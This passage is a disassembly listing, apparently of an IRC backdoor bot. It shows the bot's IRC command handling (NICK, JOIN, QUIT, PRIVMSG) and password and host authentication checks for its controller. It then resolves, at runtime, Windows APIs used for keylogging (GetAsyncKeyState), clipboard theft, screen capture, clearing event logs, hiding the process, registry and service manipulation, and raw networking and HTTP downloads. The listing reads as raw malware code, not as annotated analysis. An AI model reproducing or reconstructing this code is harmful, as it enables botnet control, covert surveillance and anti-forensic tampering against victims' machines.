loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 ; inet_ntoa push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h call dword_427080 ; Sleep push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C ; closesocket push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] call dword_4270B4 ; TerminateThread push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call dword_427080 ; Sleep loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 ; send leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_2 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h call dword_427080 ; Sleep locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: sub_401221+4Bp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi ; GetProcAddress cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" call dword_4270C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi ; GetProcAddress cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi ; GetProcAddress cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi ; GetProcAddress cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi ; GetProcAddress cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi ; GetProcAddress cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi ; GetProcAddress cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi ; GetProcAddress mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi ; GetProcAddress cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj call dword_427094 ; RtlGetLastWin32Error mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi ; GetProcAddress cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej 